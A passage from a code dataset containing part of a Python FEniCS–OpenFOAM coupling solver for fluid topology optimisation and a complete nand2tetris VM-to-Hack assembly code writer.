\n\t\ttype_of_FEniCS_Function = 'DG0', \n\t\tfoam_vector = None\n\t\t):\n\t\t\"\"\"\n\t\tConverts the \"boundaryField\" of an OpenFOAM variable to a FEniCS Function (* The \"internalField\" is considered in 'fenics_foam_solver.setFoamVectorToFEniCSFunction' and 'fenics_foam_solver.setFEniCSFunctionToFoamVector').\n\t\t-> 'type_of_FEniCS_Function' can be either:\n\t\t\tString-valued: 'DG0' or 'CG1'\t\n\t\t\tFEniCS Function\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Generating the boundary values of the OpenFOAM variable '%s' to FEniCS...\" %(foam_variable_name))\n\n\t\t# Check if FoamVector has been provided\n\t\tif type(foam_vector).__name__ != 'NoneType':\n\t\t\tpass\n\n\t\telif foam_variable_name in self.variable_dictionary: # Check if the variable name exists in OpenFOAM\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Generate the maps if not already generated\n\t\tif 'map_foam_faces_to_fenics_cells' not in self.__dict__:\n\n\t\t\t# Minimum element size\n\t\t\thmin = self.mesh.hmin()\n\t\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\t\thmin = utils_fenics_mpi.evaluateBetweenProcessors(hmin, operation = 'minimum', proc_destination = 'all')\n\n\t\t\t(self.map_foam_faces_to_fenics_cells, self.map_fenics_cells_to_foam_faces, self.map_foam_faces_to_fenics_cells_boundary_coords) = utils_fenics.generateFacetMapsOpenFOAM_FEniCSCells(self.mesh, self.foam_solver.foam_mesh, self.domain_type, mesh_hmin = hmin, tol_factor = self.tol_factor_for_mapping_FEniCS_and_OpenFOAM)\n\n\t\t# Convert to a FEniCS Function\n\t\tfenics_function = utils_fenics.FoamVectorBoundaryToFEniCSFunction(self.mesh, foam_vector, self.foam_solver.foam_mesh, self.map_foam_faces_to_fenics_cells, self.domain_type, type_of_FEniCS_Function = type_of_FEniCS_Function, map_foam_faces_to_fenics_cells_boundary_coords = self.map_foam_faces_to_fenics_cells_boundary_coords)\n\n\t\t# Post-processing\n\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\treturn fenics_function\n\n\t################# postProcessFEniCSVariableFromFoam ####################\n\n\tdef postProcessFEniCSVariableFromFoam(self, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing from Foam.\n\t\t\"\"\"\n\t\treturn self.__postProcessFEniCSVariable('from Foam', foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t################### postProcessFEniCSVariableToFoam ####################\n\n\tdef postProcessFEniCSVariableToFoam(self, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing to Foam.\n\t\t\"\"\"\n\t\treturn self.__postProcessFEniCSVariable('to Foam', foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t##################### __postProcessFEniCSVariable ######################\n\n\tdef __postProcessFEniCSVariable(self, type_of_post_processing, foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tPost-processing necessary for the resulting FEniCS variable. The main points are listed below:\n\n\t\t-> For incompressible flow:\n\t\t\t1) Send the 'rho-normalized pressure' (OpenFOAM) as 'pressure' to FEniCS.\n\t\t\t2) Send the 'pressure' (FEniCS) as 'rho-normalized pressure' to OpenFOAM.\n\t\t\t3) Threshold some values in order to guarantee that the projection performed\n\t\t\t from or to DG0 does not inadvertently return non-physical negative values.\n\t\t\"\"\"\n\n\t\tif type(fenics_function).__name__ == 'Function':\n\t\t\tpass\n\t\telse:\n\t\t\tfenics_function_array = fenics_function\n\n\t\t# Flag to indicate whether to apply changes or not\n\t\tset_to_apply_changes = False\n\n\t\t# OpenFOAM uses a 'rho-normalized pressure' (Pa/(kg/m³)) for incompressible flow. This means that,\n\t\t # if we are using the \"usual\" pressure (Pa), we have to multiply/divide the FEniCS value \n\t\t # by the density.\n\t\tif foam_variable_name == 'p' and convert_to_usual_units_if_necessary == True:\n\n\t\t\tif self.dictionary_measurement_units['p'] == 'rho-normalized pressure':\n\n\t\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\t\tif type_of_post_processing == 'from Foam':\n\t\t\t\t\tfenics_function_array *= self.additional_properties['rho']\n\t\t\t\telif type_of_post_processing == 'to Foam':\n\t\t\t\t\tfenics_function_array /= self.additional_properties['rho']\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: type_of_post_processing == '%s' is not defined!\" %(type_of_post_processing))\n\n\t\t\t\t# Set to apply changes\n\t\t\t\tset_to_apply_changes = True\n\n\t\tif foam_variable_name in [\n\n\t\t\t# Turbulent variables\n\t\t\t'k', 'epsilon', 'omega', 'nuTilda', 'v2', 'f', \n\n\t\t\t# Turbulent kinematic viscosity\n\t\t\t'nut',\n\n\t\t\t# Turbulent thermal diffusivity\n\t\t\t'alphat',\n\n\t\t\t]:\n\n\t\t\t# Array of values\n\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\tif type(self.min_value_projected_turbulence_variables).__name__ != 'NoneType': \n\n\t\t\t\t# Impose that they should be always positive (i.e., ignoring possible numerical errors of the projection)\n\t\t\t\tfenics_function_array[fenics_function_array < 0] = self.min_value_projected_turbulence_variables #0\n\n\t\t\t\t# Set to apply changes\n\t\t\t\tset_to_apply_changes = True\n\n\t\telif foam_variable_name == 'alpha_design':\n\n\t\t\t# Array of values\n\t\t\tif 'fenics_function_array' not in locals():\n\t\t\t\tfenics_function_array = fenics_function.vector().get_local()\n\n\t\t\t# Impose that they should be always in [1, 0] (i.e., ignoring possible numerical errors of the projection)\n\t\t\tfenics_function_array[fenics_function_array < 0] = 0\n\t\t\tfenics_function_array[fenics_function_array > 1] = 1\n\n\t\t\t# Set to apply changes\n\t\t\tset_to_apply_changes = True\n\n\t\telse:\n\t\t\tpass\n\n\t\t# Set to the FEniCS variable\n\t\tif type(fenics_function).__name__ == 'Function':\n\t\t\tif set_to_apply_changes == True:\n\t\t\t\tfenics_function.vector().set_local(fenics_function_array)\n\t\t\t\tfenics_function.vector().apply('insert')\n\t\telse:\n\t\t\treturn fenics_function_array\n\n\t################## setAllEqualFoamBoundaryConditions ###################\n\n\t@utils_fenics.no_annotations()\n\tdef setAllEqualFoamBoundaryConditions(self, variable_name, bc_type, bc_value, other_parameters = {}, check_consistency_of_imposed_values = False, convert_from_usual_units_if_necessary = True):\n\t\t\"\"\"\n\t\tSet all boundary conditions from FEniCS variable (or a string),\n\t\texcept 'frontSurface', 'backSurface', 'frontAndBackSurfaces',\n\t\t'cyclic', 'cyclicAMI', 'cyclicACMI'.\n\t\t\"\"\"\n\n\t\t# Boundary data\n\t\tmesh_boundary_data = self.foam_solver.foam_mesh.boundaries()\n\n\t\t# Boundary names\n\t\tboundary_names = list(mesh_boundary_data.keys())\n\n\t\tfor boundary_name in boundary_names:\n\t\t\tif boundary_name in ['frontSurface', 'backSurface', 'frontAndBackSurfaces']:\n\t\t\t\tpass\n\t\t\telse:\n\n\t\t\t\tif mesh_boundary_data[boundary_name]['type'] in ['cyclic', 'cyclicAMI', 'cyclicACMI']:\n\t\t\t\t\tself.setFoamBoundaryCondition(variable_name, boundary_name, bc_type, bc_value, other_parameters = other_parameters, check_consistency_of_imposed_values = check_consistency_of_imposed_values, return_error_if_boundary_unavailable = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary, set_only_the_value = True)\n\t\t\t\telse:\n\t\t\t\t\tself.setFoamBoundaryCondition(variable_name, boundary_name, bc_type, bc_value, other_parameters = other_parameters, check_consistency_of_imposed_values = check_consistency_of_imposed_values, return_error_if_boundary_unavailable = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t####################### setFoamBoundaryCondition #######################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamBoundaryCondition(self, \n\t\tvariable_name, \n\t\tboundary_name, bc_type, \n\t\tbc_value, \n\t\tother_parameters = {}, \n\n\t\tcheck_consistency_of_imposed_values = False, \n\t\treturn_error_if_boundary_unavailable = True, \n\t\tconvert_from_usual_units_if_necessary = True, \n\t\tset_only_the_value = False\n\t\t):\n\t\t\"\"\"\n\t\tSet a boundary condition from FEniCS variable (or a string).\n\t\t\"\"\"\n\n\t\t# Get the FoamMesh\n\t\tfoam_mesh = self.foam_solver.foam_mesh\n\n\t\t# Get the faces of the boundary\n\t\tboundary = foam_mesh.boundary(boundary_name)\n\t\tnFaces = boundary['nFaces']\n\t\tstartFace = boundary['startFace']\n\n\t\t# Checking if the face has any faces marked with the given boundary\n\t\tif nFaces == 0:\n\t\t\tif return_error_if_boundary_unavailable == False:\n\t\t\t\tutils.customPrint(\" ❗ There are no faces available for boundary '%s'!\" %(boundary_name))\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: There are no faces available for boundary '%s'!\" %(boundary_name))\n\n\t\tutils.customPrint(\"\\n 🌊 Setting boundary condition '%s' of variable '%s' to OpenFOAM:\" %(boundary_name, variable_name))\n\t\tutils.customPrint(\" - type = %s\" %(bc_type))\n\t\tutils.customPrint(\" - value = %s\" %(bc_value))\n\t\tif len(other_parameters) == 0:\n\t\t\tutils.customPrint(\" - other_parameters = [empty]\")\n\t\telse:\n\t\t\tutils.customPrint(\" - other_parameters = \")\n\t\t\tutils.printFullDictionary(other_parameters)\n\n\t\tdef check_for_user_expression(fenics_var):\n\t\t\t\"\"\"\n\t\t\tSince UserExpressions are created by defining\n\t\t\tclasses in Python, the type(...).__name__ scheme\n\t\t\tshould not work. This is a workaround.\n\t\t\t\"\"\"\n\n\t\t\ttry:\n\t\t\t\tif 'expression' in str(fenics_var.cpp_object()):\n\t\t\t\t\tis_expression = True\n\t\t\t\telse:\n\t\t\t\t\tis_expression = False\n\t\t\texcept:\n\t\t\t\tis_expression = False\n\n\t\t\treturn is_expression\n\n\t\tdef get_np_array_of_bc(bc_value, foam_vector):\n\t\t\t\"\"\"\n\t\t\tGet the NumPy array of the boundary condition.\n\t\t\t\"\"\"\n\t\t\tif type(bc_value).__name__ == 'NoneType':\n\t\t\t\tvalue = None\n\n\t\t\telif type(bc_value).__name__ in ['int', 'float']:\n\t\t\t\tvalue = np.array([bc_value])\n\n\t\t\telif type(bc_value).__name__ == 'list':\n\t\t\t\tvalue = np.array(bc_value)\n\n\t\t\telif type(bc_value).__name__ == 'ndarray':\n\t\t\t\tvalue = bc_value\n\n\t\t\telif type(bc_value).__name__ == 'Constant':\n\t\t\t\tvalue = bc_value.values()\n\n\t\t\telif type(bc_value).__name__ == 'Function' or type(bc_value).__name__ == 'Expression' or type(bc_value).__name__ == 'CompiledExpression' or check_for_user_expression(bc_value):\n\n\t\t\t\t# FEniCS variable\n\t\t\t\tfenics_var = bc_value\n\n\t\t\t\t# Compute the central coordinate of each face in 2D\n\t\t\t\tfaces_central_coords = foam_mesh.faces_center_coordinates(boundary_name = boundary_name)\n\n\t\t\t\t# Convert to 2D coordinates if necessary\n\t\t\t\tfaces_central_coords_adjusted = utils_fenics.adjustCoordinatesOpenFOAMToFEniCS(faces_central_coords, self.domain_type)\n\n\t\t\t\t# Set all central values from the FEniCS variable\n\t\t\t\tvalue = np.array([fenics_var(face_central_coords) for face_central_coords in faces_central_coords_adjusted], dtype = 'float')\n\n\t\t\t\t# Checking the value\n\t\t\t\tif len(value) == 0:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Imposing nothing on boundary '%s' for variable '%s'!\" %(boundary_name, variable_name))\n\n\t\t\t\tif len(value.shape) == 1:\n\t\t\t\t\tpass\n\t\t\t\telif len(value.shape) == 2:\n\t\t\t\t\t# Adjust the vector components according to the domain type\n\t\t\t\t\tvalue = utils_fenics.adjustVectorComponentsToOpenFOAM(value, self.domain_type)\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: len(value.shape) == %s is not valid!\" %(len(value.shape)))\n\n\t\t\telse:\n\t\t\t\tvalue = bc_value\n\n\t\t\tif convert_from_usual_units_if_necessary == True and type(bc_value).__name__ != 'NoneType':\n\t\t\t\tvalue = self.postProcessFEniCSVariableToFoam(variable_name, value, convert_to_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t\t\t# Check consistency\n\t\t\tif check_consistency_of_imposed_values == True:\n\n\t\t\t\t# Check if no 'nan' value appeared\n\t\t\t\tassert np.any(np.isnan(value)) == False\n\n\t\t\t\t# Check if no 'inf' value appeared\n\t\t\t\tassert np.any(np.isinf(value)) == False\n\n\t\t\treturn value\n\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\t\tfoam_vector_names = {foam_vectors[i_foam_vector].name : i_foam_vector for i_foam_vector in range(len(foam_vectors))}\n\n\t\tif variable_name in foam_vector_names:\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = foam_vectors[foam_vector_names[variable_name]]\n\n\t\t\t# Get the value\n\t\t\tvalue = get_np_array_of_bc(bc_value, foam_vector)\n\n\t\t\t# Check if there are values in other_parameters that need to be converted to NumPy arrays\n\t\t\tother_parameters = other_parameters.copy() # Let's make a copy\n\n\t\t\t# Run the recursive check for other_parameters\n\t\t\tdef recursive_check(dictionary):\n\t\t\t\tfor key in dictionary:\n\t\t\t\t\tif type(dictionary[key]).__name__ in ['str', 'int', 'float', 'list', 'NoneType']: # Something to set as is\n\t\t\t\t\t\tpass\n\t\t\t\t\telif type(dictionary[key]).__name__ == 'dict':\n\t\t\t\t\t\trecursive_check(dictionary[key]) # Recursion\n\t\t\t\t\telse:\n\t\t\t\t\t\tdictionary[key] = get_np_array_of_bc(dictionary[key], foam_vector) # Array to set\n\t\t\trecursive_check(other_parameters)\n\n\t\t\t# Set the boundary condition\n\t\t\tif set_only_the_value == True:\n\t\t\t\tfoam_vector.setBoundaryConditionValue(boundary_name, value)\n\t\t\telse:\n\t\t\t\tfoam_vector.setBoundaryCondition(boundary_name, bc_type, value, other_parameters = other_parameters)\n\n\t\t\t# Set to apply changes\n\t\t\tfoam_vector.set_to_apply_changes('insert')\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: variable_name == '%s' not in %s!\" %(variable_name, foam_vector_names))\n\n\t######################### setFoamConfiguration #########################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamConfiguration(self, configuration_name, new_data):\n\t\t\"\"\"\n\t\tSet an OpenFOAM configuration.\n\t\t\"\"\"\n\n\t\tif len(new_data) != 0 and type(new_data).__name__ != 'NoneType':\n\n\t\t\tutils.customPrint(\"\\n 🌊 Setting configuration to OpenFOAM: %s\" %(configuration_name))\n\t\t\tutils.printFullDictionary(new_data)\n\n\t\t\tfoam_configurations = self.foam_solver.getFoamConfigurations()\n\t\t\tfoam_configurations_names = {foam_configurations[i_foam_configuration].name : i_foam_configuration for i_foam_configuration in range(len(foam_configurations))}\n\n\t\t\tif configuration_name in foam_configurations_names:\n\t\t\t\tfoam_configuration = foam_configurations[foam_configurations_names[configuration_name]]\n\t\t\t\tfoam_configuration.setConfiguration(new_data)\n\t\t\t\tfoam_configuration.set_to_apply_changes('insert')\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: configuration_name == '%s' not in %s!\" %(configuration_name, foam_configurations_names))\n\n\t########################### setFoamProperty ############################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamProperty(self, property_name, new_data):\n\t\t\"\"\"\n\t\tSet an OpenFOAM property.\n\t\t\"\"\"\n\n\t\tif len(new_data) != 0 and type(new_data).__name__ != 'NoneType':\n\n\t\t\tutils.customPrint(\"\\n 🌊 Setting property to OpenFOAM: %s\" %(property_name))\n\t\t\tutils.printFullDictionary(new_data)\n\n\t\t\tfoam_properties = self.foam_solver.getFoamProperties()\n\t\t\tfoam_properties_names = {foam_properties[i_foam_property].name : i_foam_property for i_foam_property in range(len(foam_properties))}\n\n\t\t\tif property_name in foam_properties_names:\n\t\t\t\tfoam_property = foam_properties[foam_properties_names[property_name]]\n\t\t\t\tfoam_property.setProperty(new_data)\n\t\t\t\tfoam_property.set_to_apply_changes('insert')\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: property_name == '%s' not in the recognized property dictionaries (%s)! Remember that all property dictionary names MUST end with 'Properties'!\" %(property_name, foam_properties_names))\n\n\t####################### setAdditionalProperty ##########################\n\n\t@utils_fenics.no_annotations()\n\tdef setAdditionalProperty(self, name, value):\n\t\t\"\"\"\n\t\tSet some additional properties that may be needed here.\n\t\t* For example, one is \"rho\" (density), because it is needed\n\t\t to convert the measurement unit of pressure used by OpenFOAM\n\t\t (\"rho-normalized pressure\") (Pa/(kg/m³)) to the usual\n\t\t unit of pressure (Pa) (in incompressible solvers).\n\t\t\"\"\"\n\n\t\tif type(value).__name__ == 'Constant':\n\t\t\tself.additional_properties[name] = float(value)\n\t\telif type(value).__name__ in ['float', 'int']:\n\t\t\tself.additional_properties[name] = value\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: type(value).__name__ == '%s' is not defined!\" %( type(value).__name__))\n\n\t############################# plotResults ##############################\n\n\t@utils_fenics.no_annotations()\n\tdef plotResults(self, file_type = 'VTK', tag_folder_name = \"\", more_options_for_export = \"\"):\n\t\t\"\"\"\n\t\tPlot the results to files.\n\t\t\"\"\"\n\n\t\tself.foam_solver.plotResults(file_type = file_type, tag_folder_name = tag_folder_name, more_options_for_export = more_options_for_export)\n\n\t################################ solve #################################\n\n\t@utils_fenics.no_annotations()\n\tdef solve(self, \n\t\trun_mode = 'openfoam', \n\t\tconsider_that_we_may_have_successive_simulation_parameters = True,\n\n\t\t# Log file\n\t\tsave_log_file = True, \n\t\tlog_file = '',\n\t\tonly_print_to_log_file = False,\n\n\t\t# Silent mode\n\t\tsilent_run_mode = False,\n\t\tnum_logfile_lines_to_print_in_silent_mode = 0,\n\n\t\t# MPI configs\n\t\tmpi_configs = {},\n\n\t\t# Continuous plotting of residuals\n\t\tcontinuously_plot_residuals_from_log = False,\n\t\tcontinuously_plot_residuals_from_log_tag = '',\n\t\tcontinuously_plot_residuals_from_log_time_interval = 5,\n\t\tcontinuously_plot_residuals_from_log_x_axis_label = 'Time',\n\t\tcontinuously_plot_residuals_from_log_y_axis_scale = 'linear',\n\t\tcontinuously_plot_residuals_from_log_use_lowest_priority_for_plotting = True,\n\t\t):\n\t\t\"\"\"\n\t\tSolve the problem with FoamSolver.\n\t\t\"\"\"\n\n\t\t# Let's overload the 'error_on_nonconvergence' parameter from FoamSolver\n\t\terror_on_nonconvergence_BAK = self.foam_solver.parameters['error_on_nonconvergence']\n\t\tself.foam_solver.parameters['error_on_nonconvergence'] = False\n\n\t\t# Solve with FoamSolver\n\t\ttry:\n\t\t\tresult_info = self.foam_solver.solve(\n\t\t\t\trun_mode = run_mode, \n\t\t\t\tconsider_that_we_may_have_successive_simulation_parameters = consider_that_we_may_have_successive_simulation_parameters,\n\n\t\t\t\t# Log file\n\t\t\t\tsave_log_file = save_log_file, \n\t\t\t\tlog_file = log_file,\n\t\t\t\tonly_print_to_log_file = only_print_to_log_file,\n\n\t\t\t\t# Silent mode\n\t\t\t\tsilent_run_mode = silent_run_mode,\n\t\t\t\tnum_logfile_lines_to_print_in_silent_mode = num_logfile_lines_to_print_in_silent_mode,\n\n\t\t\t\t# MPI configs\n\t\t\t\tmpi_configs = mpi_configs,\n\n\t\t\t\t# Continuous plotting of residuals\n\t\t\t\tcontinuously_plot_residuals_from_log = continuously_plot_residuals_from_log,\n\t\t\t\tcontinuously_plot_residuals_from_log_tag = continuously_plot_residuals_from_log_tag,\n\t\t\t\tcontinuously_plot_residuals_from_log_time_interval = continuously_plot_residuals_from_log_time_interval,\n\t\t\t\tcontinuously_plot_residuals_from_log_x_axis_label = continuously_plot_residuals_from_log_x_axis_label,\n\t\t\t\tcontinuously_plot_residuals_from_log_y_axis_scale = continuously_plot_residuals_from_log_y_axis_scale,\n\t\t\t\tcontinuously_plot_residuals_from_log_use_lowest_priority_for_plotting = continuously_plot_residuals_from_log_use_lowest_priority_for_plotting,\n\t\t\t\t)\n\n\t\t\t# Successful\n\t\t\tsolver_worked = True\n\n\t\t\t# Set the last step as the result\n\t\t\ttime_step_name = 'last'\n\n\t\texcept:\n\t\t\timport traceback\n\t\t\ttraceback.print_exc()\n\n\t\t\t# Diverged!\n\t\t\tresult_info = [0, False]\n\n\t\t\t# Not successful\n\t\t\tsolver_worked = False\n\n\t\t\t# Set the initial guess as the result\n\t\t\ttime_step_name = 0\n\n\t\t# Prepare for editing the last step\n\t\t # * It IS necessary to always run the line below, even when the \n\t\t # OpenFOAM simulation fails.\n\t\t # Why? Because the user may want to use a \"try-except\" clause\n\t\t # around \"fenics_foam_solver.solve\". If that happens, we need \n\t\t # to get everything ready for the user to edit.\n\t\tself.foam_solver.prepareForEditing(time_step_name = time_step_name, keep_previous_setup = True, keep_previous_mesh = True)\n\n\t\t# Renew the foam_vectors dictionary\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\t\tfoam_vector_names = {foam_vectors[i_foam_vector].name : i_foam_vector for i_foam_vector in range(len(foam_vectors))}\n\n\t\tfor variable_name in foam_vector_names:\n\t\t\tif variable_name in self.variable_dictionary:\n\t\t\t\tself.variable_dictionary[variable_name]['FoamVector'] = foam_vectors[foam_vector_names[variable_name]]\n\n\t\t# Now let's return the previous 'error_on_nonconvergence' parameter from FoamSolver\n\t\tself.foam_solver.parameters['error_on_nonconvergence'] = error_on_nonconvergence_BAK\n\n\t\t# Check convergence\n\t\tconverged = result_info[1]\n\t\tif converged == False:\n\t\t\tif self.foam_solver.parameters['error_on_nonconvergence'] == True:\n\t\t\t\tlast_time_step = result_info[0]\n\t\t\t\traise ValueError(\" ❌ ERROR: OpenFOAM solver did not converge until time step %s!\" %(last_time_step))\n\n\t\t# Solver failed?\n\t\tif solver_worked == False:\n\t\t\tif silent_run_mode == False:\n\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation!\")\n\t\t\telse:\n\t\t\t\tif save_log_file == True:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation! Check the generated 'foam_log' to see what happened in OpenFOAM!\")\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: Some problem occurred in the OpenFOAM simulation! Who knows what happened! Please, enable 'save_log_file = True' or use 'silent_run_mode = False' in order to try to discover what happened!\")\n\n\t\treturn result_info\n\n############################## Load plugins ####################################\n\nfrom ..plugins import load_plugins\nload_plugins.loadPlugins(__file__, globals())\n\n################################################################################\n","repo_name":"diego-hayashi/fenics_topopt_foam","sub_path":"fenics_topopt_foam/solver/FEniCSFoamSolver.py","file_name":"FEniCSFoamSolver.py","file_ext":"py","file_size_in_byte":76524,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"}
+{"seq_id":"30933210279","text":"class CodeWriter:\n def __init__(self, file):\n self._file = file\n self._asm_text = ''\n self._if_label_count = 0\n self._return_label_count = 0\n self._filename = ''\n self._function_label_name = ''\n\n def set_file_name(self, filename):\n self._filename = filename\n\n def write_arithmetic(self, command):\n if command in ['add', 'sub', 'and', 'or']:\n self._binary(command)\n elif command in ['neg', 'not']:\n self._unary(command)\n elif command in ['eq', 'gt', 'lt']:\n self._compare(command)\n\n def write_push(self, segment, index):\n if segment == 'constant':\n self._write_many(['@%d' % index, 'D=A', '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n elif segment in ['local', 'argument', 'this', 'that']:\n command_push = segment.upper()\n if segment == 'local':\n command_push = 'LCL'\n elif segment == 'argument':\n command_push = 'ARG'\n self._write_many(['@%s' % command_push, 'A=M'])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_many(['D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n elif segment in ['temp', 'pointer']:\n command_push = 0\n if segment == 'temp':\n command_push = 5\n elif segment == 'pointer':\n command_push = 3\n self._write_one('@%d' % command_push)\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_many(['D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n if segment == 'static':\n self._write_many(['@%s.%d' % (self._filename, index), 'D=M', '@SP',\n 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def write_pop(self, segment, index):\n if segment in ['local', 'argument', 'this', 'that']:\n command_pop = segment.upper()\n if segment == 'local':\n command_pop = 'LCL'\n elif segment == 'argument':\n command_pop = 'ARG'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%s' % command_pop, 'A=M'])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_one('M=D')\n elif segment in ['temp', 'pointer']:\n command_pop = 0\n if segment == 'temp':\n command_pop = 5\n elif segment == 'pointer':\n command_pop = 3\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%d' % command_pop])\n for _ in range(index):\n self._write_one('A=A+1')\n self._write_one('M=D')\n if segment == 'static':\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M',\n '@%s.%d' % (self._filename, index), 'M=D'])\n\n def write_label(self, label):\n label = self._function_label(label)\n self._write_one('(%s)' % label)\n\n def write_goto(self, label):\n label = self._function_label(label)\n self._write_many(['@%s' % label, '0;JMP'])\n\n def write_if(self, label):\n label = self._function_label(label)\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@%s' % label,\n 'D;JNE'])\n\n def write_function(self, function_name, num_vars):\n self._function_label_name = function_name\n self._write_many(['(%s)' % function_name, 'D=0'])\n for _ in range(num_vars):\n self._write_many(['@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def write_call(self, function_name, num_args):\n label = self._return_label()\n self._write_many(['@%s' % label, 'D=A', '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n self._write_call_value('@LCL')\n self._write_call_value('@ARG')\n self._write_call_value('@THIS')\n self._write_call_value('@THAT')\n self._write_many(['@SP', 'D=M', '@5', 'D=D-A', '@%d' % num_args,\n 'D=D-A', '@ARG', 'M=D', '@SP', 'D=M', '@LCL', 'M=D',\n '@%s' % function_name, '0;JMP', '(%s)' % label])\n\n def write_return(self):\n self._write_many(['@LCL', 'D=M', '@R13', 'M=D', '@5', 'D=A', '@R13',\n 'A=M-D', 'D=M', '@R14', 'M=D', '@SP', 'M=M-1', 'A=M',\n 'D=M', '@ARG', 'A=M', 'M=D', '@ARG', 'D=M+1', '@SP',\n 'M=D', '@R13', 'AM=M-1', 'D=M', '@THAT', 'M=D',\n '@R13', 'AM=M-1', 'D=M', '@THIS', 'M=D', '@R13',\n 'AM=M-1', 'D=M', '@ARG', 'M=D', '@R13', 'AM=M-1',\n 'D=M', '@LCL', 'M=D', '@R14', 'A=M', '0;JMP'])\n\n def write_init(self):\n self._write_many(['@256', 'D=A', '@SP', 'M=D'])\n self.write_call('Sys.init', 0)\n\n def write_comment(self, command):\n self._write_one('// %s' % command)\n\n def close(self):\n self._file.write(self._asm_text[0:-1])\n self._file.close()\n\n def _binary(self, command):\n command_binary = ''\n if command == 'add':\n command_binary = 'D=D+M'\n elif command == 'sub':\n command_binary = 'D=M-D'\n elif command == 'and':\n command_binary = 'D=D&M'\n elif command == 'or':\n command_binary = 'D=D|M'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@SP', 'M=M-1', 'A=M',\n command_binary, '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def _unary(self, command):\n command_unary = ''\n if command == 'neg':\n command_unary = 'M=-M'\n elif command == 'not':\n command_unary = 'M=!M'\n self._write_many(['@SP', 'A=M-1', command_unary])\n\n def _compare(self, command):\n label1 = self._if_label()\n label2 = self._if_label()\n command_compare = ''\n if command == 'eq':\n command_compare = 'JEQ'\n elif command == 'gt':\n command_compare = 'JGT'\n elif command == 'lt':\n command_compare = 'JLT'\n self._write_many(['@SP', 'M=M-1', 'A=M', 'D=M', '@SP', 'M=M-1', 'A=M',\n 'D=M-D', '@%s' % label1, 'D;%s' % command_compare,\n 'D=0', '@%s' % label2, '0;JMP', '(%s)' % label1,\n 'D=-1', '(%s)' % label2, '@SP', 'A=M', 'M=D', '@SP',\n 'M=M+1'])\n\n def _write_call_value(self, value):\n self._write_many([value, 'D=M', '@SP', 'A=M', 'M=D', '@SP', 'M=M+1'])\n\n def _write_one(self, code):\n self._asm_text += '%s\\n' % code\n\n def _write_many(self, codes):\n for code in codes:\n self._write_one(code)\n\n def _if_label(self):\n self._if_label_count += 1\n return 'IF_LABEL_%d' % self._if_label_count\n\n def _return_label(self):\n self._return_label_count += 1\n return 'RETURN_LABEL_%d' % self._return_label_count\n\n def _function_label(self, label):\n if self._function_label_name == '':\n return '%s' % label\n else:\n return '%s$%s' % (self._function_label_name, label)\n","repo_name":"aronkst/nand2tetris","sub_path":"08/code_writer.py","file_name":"code_writer.py","file_ext":"py","file_size_in_byte":7239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
